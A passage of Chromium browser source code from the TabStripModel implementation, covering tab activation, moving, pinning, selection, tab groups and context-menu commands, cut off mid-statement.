notifications->initially_active_web_contents;\n  selection.new_contents = GetActiveWebContents();\n  selection.old_model = notifications->selection_model;\n  selection.new_model = selection_model_;\n  selection.reason = TabStripModelObserver::CHANGE_REASON_NONE;\n  selection.selected_tabs_were_removed = std::any_of(\n      notifications->detached_web_contents.begin(),\n      notifications->detached_web_contents.end(), [&notifications](auto& dwc) {\n        return notifications->selection_model.IsSelected(\n            dwc->index_before_any_removals);\n      });\n\n  {\n    auto visibility_tracker =\n        empty() ? nullptr : InstallRenderWigetVisibilityTracker(selection);\n    for (auto& observer : observers_)\n      observer.OnTabStripModelChanged(this, change, selection);\n  }\n\n  for (auto& dwc : notifications->detached_web_contents) {\n    if (dwc->will_delete) {\n      // This destroys the WebContents, which will also send\n      // WebContentsDestroyed notifications.\n      dwc->contents.reset();\n    }\n  }\n\n  if (empty()) {\n    for (auto& observer : observers_)\n      observer.TabStripEmpty();\n  }\n}\n\nvoid TabStripModel::ActivateTabAt(int index, UserGestureDetails user_gesture) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK(ContainsIndex(index));\n  TRACE_EVENT0(\"ui\", \"TabStripModel::ActivateTabAt\");\n\n  // Maybe increment count of tabs 'scrubbed' by mouse or key press for\n  // histogram data.\n  if (user_gesture.type == GestureType::kMouse ||\n      user_gesture.type == GestureType::kKeyboard) {\n    constexpr base::TimeDelta kMaxTimeConsideredScrubbing =\n        base::TimeDelta::FromMilliseconds(1500);\n    base::TimeDelta elapsed_time_since_tab_switch =\n        base::TimeTicks::Now() - last_tab_switch_timestamp_;\n    if (elapsed_time_since_tab_switch <= kMaxTimeConsideredScrubbing) {\n      if (user_gesture.type == GestureType::kMouse)\n        ++tabs_scrubbed_by_mouse_press_count_;\n      else if (user_gesture.type == GestureType::kKeyboard)\n        ++tabs_scrubbed_by_key_press_count_;\n    }\n  }\n  last_tab_switch_timestamp_ = base::TimeTicks::Now();\n\n  TabSwitchEventLatencyRecorder::EventType event_type;\n  switch (user_gesture.type) {\n    case GestureType::kMouse:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kMouse;\n      break;\n    case GestureType::kKeyboard:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kKeyboard;\n      break;\n    case GestureType::kTouch:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kTouch;\n      break;\n    case GestureType::kWheel:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kWheel;\n      break;\n    default:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kOther;\n      break;\n  }\n  tab_switch_event_latency_recorder_.BeginLatencyTiming(user_gesture.time_stamp,\n                                                        event_type);\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.SetSelectedIndex(index);\n  SetSelection(std::move(new_model),\n               user_gesture.type != GestureType::kNone\n                   ? TabStripModelObserver::CHANGE_REASON_USER_GESTURE\n                   : TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nvoid TabStripModel::RecordTabScrubbingMetrics() {\n  UMA_HISTOGRAM_COUNTS_10000(\"Tabs.ScrubbedInInterval.MousePress\",\n                             tabs_scrubbed_by_mouse_press_count_);\n  UMA_HISTOGRAM_COUNTS_10000(\"Tabs.ScrubbedInInterval.KeyPress\",\n                             tabs_scrubbed_by_key_press_count_);\n  tabs_scrubbed_by_mouse_press_count_ = 0;\n  tabs_scrubbed_by_key_press_count_ = 0;\n}\n\nint TabStripModel::MoveWebContentsAt(int index,\n                                     int to_position,\n                                     bool select_after_move) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK(ContainsIndex(index));\n\n  to_position = ConstrainMoveIndex(to_position, IsTabPinned(index));\n\n  if (index == to_position)\n    return to_position;\n\n  MoveWebContentsAtImpl(index, to_position, select_after_move);\n  EnsureGroupContiguity(to_position);\n\n  return to_position;\n}\n\nvoid TabStripModel::MoveSelectedTabsTo(int index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  int total_pinned_count = IndexOfFirstNonPinnedTab();\n  int selected_pinned_count = 0;\n  const ui::ListSelectionModel::SelectedIndices& selected_indices =\n      selection_model_.selected_indices();\n  int selected_count = static_cast<int>(selected_indices.size());\n  for (auto selection : selected_indices) {\n    if (IsTabPinned(selection))\n      selected_pinned_count++;\n  }\n\n  // To maintain that all pinned tabs occur before non-pinned tabs we move them\n  // first.\n  if (selected_pinned_count > 0) {\n    MoveSelectedTabsToImpl(\n        std::min(total_pinned_count - selected_pinned_count, index), 0u,\n        selected_pinned_count);\n    if (index > total_pinned_count - selected_pinned_count) {\n      // We're being told to drag pinned tabs to an invalid location. Adjust the\n      // index such that non-pinned tabs end up at a location as though we could\n      // move the pinned tabs to index. See description in header for more\n      // details.\n      index += selected_pinned_count;\n    }\n  }\n  if (selected_pinned_count == selected_count)\n    return;\n\n  // Then move the non-pinned tabs.\n  MoveSelectedTabsToImpl(std::max(index, total_pinned_count),\n                         selected_pinned_count,\n                         selected_count - selected_pinned_count);\n}\n\nvoid TabStripModel::MoveGroupTo(const tab_groups::TabGroupId& group,\n                                int to_index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK_NE(to_index, kNoTab);\n\n  gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs();\n  DCHECK_GT(tabs_in_group.length(), 0u);\n\n  int from_index = tabs_in_group.start();\n  if (to_index < from_index)\n    from_index = tabs_in_group.end() - 1;\n\n  for (size_t i = 0; i < tabs_in_group.length(); ++i)\n    MoveWebContentsAtImpl(from_index, to_index, false);\n\n  MoveTabGroup(group);\n}\n\nWebContents* TabStripModel::GetActiveWebContents() const {\n  return GetWebContentsAt(active_index());\n}\n\nWebContents* TabStripModel::GetWebContentsAt(int index) const {\n  if (ContainsIndex(index))\n    return GetWebContentsAtImpl(index);\n  return nullptr;\n}\n\nint TabStripModel::GetIndexOfWebContents(const WebContents* contents) const {\n  for (size_t i = 0; i < contents_data_.size(); ++i) {\n    if (contents_data_[i]->web_contents() == contents)\n      return i;\n  }\n  return kNoTab;\n}\n\nvoid TabStripModel::UpdateWebContentsStateAt(int index,\n                                             TabChangeType change_type) {\n  DCHECK(ContainsIndex(index));\n\n  for (auto& observer : observers_)\n    observer.TabChangedAt(GetWebContentsAtImpl(index), index, change_type);\n}\n\nvoid TabStripModel::SetTabNeedsAttentionAt(int index, bool attention) {\n  DCHECK(ContainsIndex(index));\n\n  for (auto& observer : observers_)\n    observer.SetTabNeedsAttentionAt(index, attention);\n}\n\nvoid TabStripModel::CloseAllTabs() {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Set state so that observers can adjust their behavior to suit this\n  // specific condition when CloseWebContentsAt causes a flurry of\n  // Close/Detach/Select notifications to be sent.\n  closing_all_ = true;\n  std::vector<content::WebContents*> closing_tabs;\n  closing_tabs.reserve(count());\n  for (int i = count() - 1; i >= 0; --i)\n    closing_tabs.push_back(GetWebContentsAt(i));\n  InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB);\n}\n\nbool TabStripModel::CloseWebContentsAt(int index, uint32_t close_types) {\n  DCHECK(ContainsIndex(index));\n  WebContents* contents = GetWebContentsAt(index);\n  return InternalCloseTabs(base::span<WebContents* const>(&contents, 1),\n                           close_types);\n}\n\nbool TabStripModel::TabsAreLoading() const {\n  for (const auto& data : contents_data_) {\n    if (data->web_contents()->IsLoading())\n      return true;\n  }\n\n  return false;\n}\n\nWebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) {\n  DCHECK(ContainsIndex(index));\n  return contents_data_[index]->opener();\n}\n\nvoid TabStripModel::SetOpenerOfWebContentsAt(int index, WebContents* opener) {\n  DCHECK(ContainsIndex(index));\n  // The TabStripModel only maintains the references to openers that it itself\n  // owns; trying to set an opener to an external WebContents can result in\n  // the opener being used after its freed. See crbug.com/698681.\n  DCHECK(!opener || GetIndexOfWebContents(opener) != kNoTab)\n      << \"Cannot set opener to a web contents not owned by this tab strip.\";\n  contents_data_[index]->set_opener(opener);\n}\n\nint TabStripModel::GetIndexOfLastWebContentsOpenedBy(const WebContents* opener,\n                                                     int start_index) const {\n  DCHECK(opener);\n  DCHECK(ContainsIndex(start_index));\n\n  std::set<const WebContents*> opener_and_descendants;\n  opener_and_descendants.insert(opener);\n  int last_index = kNoTab;\n\n  for (int i = start_index + 1; i < count(); ++i) {\n    // Test opened by transitively, i.e. include tabs opened by tabs opened by\n    // opener, etc. Stop when we find the first non-descendant.\n    if (!opener_and_descendants.count(contents_data_[i]->opener())) {\n      // Skip over pinned tabs as new tabs are added after pinned tabs.\n      if (contents_data_[i]->pinned())\n        continue;\n      break;\n    }\n    opener_and_descendants.insert(contents_data_[i]->web_contents());\n    last_index = i;\n  }\n  return last_index;\n}\n\nvoid TabStripModel::TabNavigating(WebContents* contents,\n                                  ui::PageTransition transition) {\n  if (ShouldForgetOpenersForTransition(transition)) {\n    // Don't forget the openers if this tab is a New Tab page opened at the\n    // end of the TabStrip (e.g. by pressing Ctrl+T). Give the user one\n    // navigation of one of these transition types before resetting the\n    // opener relationships (this allows for the use case of opening a new\n    // tab to do a quick look-up of something while viewing a tab earlier in\n    // the strip). We can make this heuristic more permissive if need be.\n    if (!IsNewTabAtEndOfTabStrip(contents)) {\n      // If the user navigates the current tab to another page in any way\n      // other than by clicking a link, we want to pro-actively forget all\n      // TabStrip opener relationships since we assume they're beginning a\n      // different task by reusing the current tab.\n      ForgetAllOpeners();\n    }\n  }\n}\n\nvoid TabStripModel::SetTabBlocked(int index, bool blocked) {\n  DCHECK(ContainsIndex(index));\n  if (contents_data_[index]->blocked() == blocked)\n    return;\n  contents_data_[index]->set_blocked(blocked);\n  for (auto& observer : observers_)\n    observer.TabBlockedStateChanged(contents_data_[index]->web_contents(),\n                                    index);\n}\n\nvoid TabStripModel::SetTabPinned(int index, bool pinned) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  SetTabPinnedImpl(index, pinned);\n}\n\nbool TabStripModel::IsTabPinned(int index) const {\n  DCHECK(ContainsIndex(index)) << index;\n  return contents_data_[index]->pinned();\n}\n\nbool TabStripModel::IsTabCollapsed(int index) const {\n  base::Optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  return group.has_value() && IsGroupCollapsed(group.value());\n}\n\nbool TabStripModel::IsGroupCollapsed(\n    const tab_groups::TabGroupId& group) const {\n  return group_model()->ContainsTabGroup(group) &&\n         group_model()->GetTabGroup(group)->visual_data()->is_collapsed();\n}\n\nbool TabStripModel::IsTabBlocked(int index) const {\n  return contents_data_[index]->blocked();\n}\n\nbase::Optional<tab_groups::TabGroupId> TabStripModel::GetTabGroupForTab(\n    int index) const {\n  return ContainsIndex(index) ? contents_data_[index]->group() : base::nullopt;\n}\n\nbase::Optional<tab_groups::TabGroupId> TabStripModel::GetSurroundingTabGroup(\n    int index) const {\n  if (!ContainsIndex(index - 1) || !ContainsIndex(index))\n    return base::nullopt;\n\n  // If the tab before is not in a group, a tab inserted at |index|\n  // wouldn't be surrounded by one group.\n  base::Optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index - 1);\n  if (!group)\n    return base::nullopt;\n\n  // If the tab after is in a different (or no) group, a new tab at\n  // |index| isn't surrounded.\n  if (group != GetTabGroupForTab(index))\n    return base::nullopt;\n  return group;\n}\n\nint TabStripModel::IndexOfFirstNonPinnedTab() const {\n  for (size_t i = 0; i < contents_data_.size(); ++i) {\n    if (!IsTabPinned(static_cast<int>(i)))\n      return static_cast<int>(i);\n  }\n  // No pinned tabs.\n  return count();\n}\n\nvoid TabStripModel::ExtendSelectionTo(int index) {\n  DCHECK(ContainsIndex(index));\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.SetSelectionFromAnchorTo(index);\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nvoid TabStripModel::ToggleSelectionAt(int index) {\n  DCHECK(ContainsIndex(index));\n  ui::ListSelectionModel new_model = selection_model();\n  if (selection_model_.IsSelected(index)) {\n    if (selection_model_.size() == 1) {\n      // One tab must be selected and this tab is currently selected so we can't\n      // unselect it.\n      return;\n    }\n    new_model.RemoveIndexFromSelection(index);\n    new_model.set_anchor(index);\n    if (new_model.active() == index ||\n        new_model.active() == ui::ListSelectionModel::kUnselectedIndex)\n      new_model.set_active(*new_model.selected_indices().begin());\n  } else {\n    new_model.AddIndexToSelection(index);\n    new_model.set_anchor(index);\n    new_model.set_active(index);\n  }\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nvoid TabStripModel::AddSelectionFromAnchorTo(int index) {\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.AddSelectionFromAnchorTo(index);\n  SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nbool TabStripModel::IsTabSelected(int index) const {\n  DCHECK(ContainsIndex(index));\n  return selection_model_.IsSelected(index);\n}\n\nvoid TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) {\n  DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active());\n  SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nconst ui::ListSelectionModel& TabStripModel::selection_model() const {\n  return selection_model_;\n}\n\nvoid TabStripModel::AddWebContents(\n    std::unique_ptr<WebContents> contents,\n    int index,\n    ui::PageTransition transition,\n    int add_types,\n    base::Optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // If the newly-opened tab is part of the same task as the parent tab, we want\n  // to inherit the parent's opener attribute, so that if this tab is then\n  // closed we'll jump back to the parent tab.\n  bool inherit_opener = (add_types & ADD_INHERIT_OPENER) == ADD_INHERIT_OPENER;\n\n  if (ui::PageTransitionTypeIncludingQualifiersIs(transition,\n                                                  ui::PAGE_TRANSITION_LINK) &&\n      (add_types & ADD_FORCE_INDEX) == 0) {\n    // We assume tabs opened via link clicks are part of the same task as their\n    // parent.  Note that when |force_index| is true (e.g. when the user\n    // drag-and-drops a link to the tab strip), callers aren't really handling\n    // link clicks, they just want to score the navigation like a link click in\n    // the history backend, so we don't inherit the opener in this case.\n    index = order_controller_->DetermineInsertionIndex(transition,\n                                                       add_types & ADD_ACTIVE);\n    inherit_opener = true;\n\n    // The current active index is our opener. If the tab we are adding is not\n    // in a group, set the group of the tab to that of its opener.\n    if (!group.has_value())\n      group = GetTabGroupForTab(active_index());\n  } else {\n    // For all other types, respect what was passed to us, normalizing -1s and\n    // values that are too large.\n    if (index < 0 || index > count())\n      index = count();\n  }\n\n  // Prevent the tab from being inserted at an index that would make the group\n  // non-contiguous. Most commonly, the new-tab button always attempts to insert\n  // at the end of the tab strip. Extensions can insert at an arbitrary index,\n  // so we have to handle the general case.\n  if (group.has_value()) {\n    gfx::Range grouped_tabs =\n        group_model_->GetTabGroup(group.value())->ListTabs();\n    if (grouped_tabs.length() > 0) {\n      index = base::ClampToRange(index, static_cast<int>(grouped_tabs.start()),\n                                 static_cast<int>(grouped_tabs.end()));\n    }\n  } else if (GetTabGroupForTab(index - 1) == GetTabGroupForTab(index)) {\n    group = GetTabGroupForTab(index);\n  }\n\n  if (ui::PageTransitionTypeIncludingQualifiersIs(transition,\n                                                  ui::PAGE_TRANSITION_TYPED) &&\n      index == count()) {\n    // Also, any tab opened at the end of the TabStrip with a \"TYPED\"\n    // transition inherit opener as well. This covers the cases where the user\n    // creates a New Tab (e.g. Ctrl+T, or clicks the New Tab button), or types\n    // in the address bar and presses Alt+Enter. This allows for opening a new\n    // Tab to quickly look up something. When this Tab is closed, the old one\n    // is re-activated, not the next-adjacent.\n    inherit_opener = true;\n  }\n  WebContents* raw_contents = contents.get();\n  InsertWebContentsAtImpl(index, std::move(contents),\n                          add_types | (inherit_opener ? ADD_INHERIT_OPENER : 0),\n                          group);\n  // Reset the index, just in case insert ended up moving it on us.\n  index = GetIndexOfWebContents(raw_contents);\n\n  // In the \"quick look-up\" case detailed above, we want to reset the opener\n  // relationship on any active tab change, even to another tab in the same tree\n  // of openers. A jump would be too confusing at that point.\n  if (inherit_opener && ui::PageTransitionTypeIncludingQualifiersIs(\n                            transition, ui::PAGE_TRANSITION_TYPED))\n    contents_data_[index]->set_reset_opener_on_active_tab_change(true);\n\n  // TODO(sky): figure out why this is here and not in InsertWebContentsAt. When\n  // here we seem to get failures in startup perf tests.\n  // Ensure that the new WebContentsView begins at the same size as the\n  // previous WebContentsView if it existed.  Otherwise, the initial WebKit\n  // layout will be performed based on a width of 0 pixels, causing a\n  // very long, narrow, inaccurate layout.  Because some scripts on pages (as\n  // well as WebKit's anchor link location calculation) are run on the\n  // initial layout and not recalculated later, we need to ensure the first\n  // layout is performed with sane view dimensions even when we're opening a\n  // new background tab.\n  if (WebContents* old_contents = GetActiveWebContents()) {\n    if ((add_types & ADD_ACTIVE) == 0) {\n      raw_contents->Resize(\n          gfx::Rect(old_contents->GetContainerBounds().size()));\n    }\n  }\n}\n\nvoid TabStripModel::CloseSelectedTabs() {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  InternalCloseTabs(\n      GetWebContentsesByIndices(std::vector<int>(sel.begin(), sel.end())),\n      CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE);\n}\n\nvoid TabStripModel::SelectNextTab(UserGestureDetails detail) {\n  SelectRelativeTab(true, detail);\n}\n\nvoid TabStripModel::SelectPreviousTab(UserGestureDetails detail) {\n  SelectRelativeTab(false, detail);\n}\n\nvoid TabStripModel::SelectLastTab(UserGestureDetails detail) {\n  ActivateTabAt(count() - 1, detail);\n}\n\nvoid TabStripModel::MoveTabNext() {\n  MoveTabRelative(true);\n}\n\nvoid TabStripModel::MoveTabPrevious() {\n  MoveTabRelative(false);\n}\n\ntab_groups::TabGroupId TabStripModel::AddToNewGroup(\n    const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Ensure that the indices are sorted and unique.\n  DCHECK(base::ranges::is_sorted(indices));\n  DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end());\n\n  // The odds of |new_group| colliding with an existing group are astronomically\n  // low. If there is a collision, a DCHECK will fail in |AddToNewGroupImpl()|,\n  // in which case there is probably something wrong with\n  // |tab_groups::TabGroupId::GenerateNew()|.\n  const tab_groups::TabGroupId new_group =\n      tab_groups::TabGroupId::GenerateNew();\n  AddToNewGroupImpl(indices, new_group);\n  return new_group;\n}\n\nvoid TabStripModel::AddToExistingGroup(const std::vector<int>& indices,\n                                       const tab_groups::TabGroupId& group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Ensure that the indices are sorted and unique.\n  DCHECK(base::ranges::is_sorted(indices));\n  DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end());\n\n  AddToExistingGroupImpl(indices, group);\n}\n\nvoid TabStripModel::MoveTabsAndSetGroup(\n    const std::vector<int>& indices,\n    int destination_index,\n    base::Optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  MoveTabsAndSetGroupImpl(indices, destination_index, group);\n}\n\nvoid TabStripModel::AddToGroupForRestore(const std::vector<int>& indices,\n                                         const tab_groups::TabGroupId& group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  const bool group_exists = group_model_->ContainsTabGroup(group);\n  if (group_exists)\n    AddToExistingGroupImpl(indices, group);\n  else\n    AddToNewGroupImpl(indices, group);\n}\n\nvoid TabStripModel::UpdateGroupForDragRevert(\n    int index,\n    base::Optional<tab_groups::TabGroupId> group_id,\n    base::Optional<tab_groups::TabGroupVisualData> group_data) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n  if (group_id.has_value()) {\n    const bool group_exists = group_model_->ContainsTabGroup(group_id.value());\n    if (!group_exists)\n      group_model_->AddTabGroup(group_id.value(), group_data);\n    GroupTab(index, group_id.value());\n  } else {\n    UngroupTab(index);\n  }\n}\n\nvoid TabStripModel::RemoveFromGroup(const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  std::map<tab_groups::TabGroupId, std::vector<int>> indices_per_tab_group;\n\n  for (int index : indices) {\n    base::Optional<tab_groups::TabGroupId> old_group = GetTabGroupForTab(index);\n    if (old_group.has_value())\n      indices_per_tab_group[old_group.value()].push_back(index);\n  }\n\n  for (const auto& kv : indices_per_tab_group) {\n    const TabGroup* group = group_model_->GetTabGroup(kv.first);\n    const int first_tab_in_group = group->GetFirstTab().value();\n    const int last_tab_in_group = group->GetLastTab().value();\n\n    // This is an estimate. If the group is non-contiguous it will be\n    // larger than the true size. This can happen while dragging tabs in\n    // or out of a group.\n    const int num_tabs_in_group = last_tab_in_group - first_tab_in_group + 1;\n    const int group_midpoint = first_tab_in_group + num_tabs_in_group / 2;\n\n    // Split group into |left_of_group| and |right_of_group| depending on\n    // whether the index is closest to the left or right edge.\n    std::vector<int> left_of_group;\n    std::vector<int> right_of_group;\n    for (int index : kv.second) {\n      if (index < group_midpoint) {\n        left_of_group.push_back(index);\n      } else {\n        right_of_group.push_back(index);\n      }\n    }\n    MoveTabsAndSetGroupImpl(left_of_group, first_tab_in_group, base::nullopt);\n    MoveTabsAndSetGroupImpl(right_of_group, last_tab_in_group + 1,\n                            base::nullopt);\n  }\n}\n\nbool TabStripModel::IsReadLaterSupportedForAny(const std::vector<int> indices) {\n  ReadingListModel* model =\n      ReadingListModelFactory::GetForBrowserContext(profile_);\n  if (!model || !model->loaded())\n    return false;\n  for (int index : indices) {\n    if (model->IsUrlSupported(\n            chrome::GetURLToBookmark(GetWebContentsAt(index))))\n      return true;\n  }\n  return false;\n}\n\nvoid TabStripModel::AddToReadLater(const std::vector<int>& indices) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  AddToReadLaterImpl(indices);\n}\n\nvoid TabStripModel::CreateTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kCreated);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::OpenTabGroupEditor(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kEditorOpened);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::ChangeTabGroupContents(\n    const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kContentsChanged);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::ChangeTabGroupVisuals(\n    const tab_groups::TabGroupId& group,\n    const TabGroupChange::VisualsChange& visuals) {\n  TabGroupChange change(group, visuals);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::MoveTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kMoved);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nvoid TabStripModel::CloseTabGroup(const tab_groups::TabGroupId& group) {\n  TabGroupChange change(group, TabGroupChange::kClosed);\n  for (auto& observer : observers_)\n    observer.OnTabGroupChanged(change);\n}\n\nint TabStripModel::GetTabCount() const {\n  return static_cast<int>(contents_data_.size());\n}\n\n// Context menu functions.\nbool TabStripModel::IsContextMenuCommandEnabled(\n    int context_index,\n    ContextMenuCommand command_id) const {\n  DCHECK(command_id > CommandFirst && command_id < CommandLast);\n  switch (command_id) {\n    case CommandNewTabToRight:\n    case CommandCloseTab:\n      return true;\n\n    case CommandReload: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        WebContents* tab = GetWebContentsAt(indices[i]);\n        if (tab) {\n          Browser* browser = chrome::FindBrowserWithWebContents(tab);\n          if (!browser || browser->CanReloadContents(tab))\n            return true;\n        }\n      }\n      return false;\n    }\n\n    case CommandCloseOtherTabs:\n    case CommandCloseTabsToRight:\n      return !GetIndicesClosedByCommand(context_index, command_id).empty();\n\n    case CommandDuplicate: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        if (delegate()->CanDuplicateContentsAt(indices[i]))\n          return true;\n      }\n      return false;\n    }\n\n    case CommandToggleSiteMuted:\n      return true;\n\n    case CommandTogglePinned:\n      return true;\n\n    case CommandToggleGrouped:\n      return true;\n\n    case CommandFocusMode:\n      return GetIndicesForCommand(context_index).size() == 1;\n\n    case CommandSendTabToSelf:\n      return true;\n\n    case CommandSendTabToSelfSingleTarget:\n      return true;\n\n    case CommandAddToReadLater:\n      return true;\n\n    case CommandAddToNewGroup:\n      return true;\n\n    case CommandAddToExistingGroup:\n      return true;\n\n    case CommandRemoveFromGroup:\n      return true;\n\n    case CommandMoveToExistingWindow:\n      return true;\n\n    case CommandMoveTabsToNewWindow:\n      return delegate()->CanMoveTabsToWindow(\n          GetIndicesForCommand(context_index));\n\n    default:\n      NOTREACHED();\n  }\n  return false;\n}\n\nvoid TabStripModel::ExecuteContextMenuCommand(int context_index,\n                                              ContextMenuCommand command_id) {\n  DCHECK(command_id > CommandFirst && command_id < CommandLast);\n  switch (command_id) {\n    case CommandNewTabToRight: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_NewTab\"));\n      UMA_HISTOGRAM_ENUMERATION(\"Tab.NewTab\",\n                                TabStripModel::NEW_TAB_CONTEXT_MENU,\n                                TabStripModel::NEW_TAB_ENUM_COUNT);\n      delegate()->AddTabAt(GURL(), context_index + 1, true,\n                           GetTabGroupForTab(context_index));\n      break;\n    }\n\n    case CommandReload: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_Reload\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      for (size_t i = 0; i < indices.size(); ++i) {\n        WebContents* tab = GetWebContentsAt(indices[i]);\n        if (tab) {\n          Browser* browser = chrome::FindBrowserWithWebContents(tab);\n          if (!browser || browser->CanReloadContents(tab))\n            tab->GetController().Reload(content::ReloadType::NORMAL, true);\n        }\n      }\n      break;\n    }\n\n    case CommandDuplicate: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_Duplicate\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      // Copy the WebContents off as the indices will change as tabs are\n      // duplicated.\n      std::vector<WebContents*> tabs;\n      for (size_t i = 0; i < indices.size(); ++i)\n        tabs.push_back(GetWebContentsAt(indices[i]));\n      for (size_t i = 0; i < tabs.size(); ++i) {\n        int index = GetIndexOfWebContents(tabs[i]);\n        if (index != -1 && delegate()->CanDuplicateContentsAt(index))\n          delegate()->DuplicateContentsAt(index);\n      }\n      break;\n    }\n\n    case CommandCloseTab: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseTab\"));\n      InternalCloseTabs(\n          GetWebContentsesByIndices(GetIndicesForCommand(context_index)),\n          CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE);\n      break;\n    }\n\n    case CommandCloseOtherTabs: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseOtherTabs\"));\n      InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand(\n                            context_index, command_id)),\n                        CLOSE_CREATE_HISTORICAL_TAB);\n      break;\n    }\n\n    case CommandCloseTabsToRight: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_CloseTabsToRight\"));\n      InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand(\n                            context_index, command_id)),\n                        CLOSE_CREATE_HISTORICAL_TAB);\n      break;\n    }\n\n    case CommandSendTabToSelfSingleTarget: {\n      send_tab_to_self::ShareToSingleTarget(GetWebContentsAt(context_index));\n      send_tab_to_self::RecordSendTabToSelfClickResult(\n          send_tab_to_self::kTabMenu, SendTabToSelfClickResult::kClickItem);\n      break;\n    }\n\n    case CommandTogglePinned: {\n      ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_TogglePinned\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      bool pin = WillContextMenuPin(context_index);\n      if (pin) {\n        for (size_t i = 0; i < indices.size(); ++i)\n          SetTabPinnedImpl(indices[i], true);\n      } else {\n        // Unpin from the back so that the order is maintained (unpinning can\n        // trigger moving a tab).\n        for (size_t i = indices.size(); i > 0; --i)\n          SetTabPinnedImpl(indices[i - 1], false);\n      }\n      break;\n    }\n\n    case CommandToggleGrouped: {\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      bool group = WillContextMenuGroup(context_index);\n      if (group) {\n        tab_groups::TabGroupId new_group = AddToNewGroup(indices);\n        OpenTabGroupEditor(new_group);\n      } else {\n        RemoveFromGroup(indices);\n      }\n\n      break;\n    }\n\n    case CommandFocusMode: {\n      base::RecordAction(UserMetricsAction(\"TabContextMenu_FocusMode\"));\n      std::vector<int> indices = GetIndicesForCommand(context_index);\n      WebContents* contents = GetWebContentsAt(indices[0]);\n      web_app::ReparentWebContentsForFocusMode(contents);\n      break;\n    }\n\n    case CommandToggleSiteMuted: {\n      const bool mute = WillContextMenuMuteSites(context_index);\n      if (mute) {\n        base::RecordAction(\n            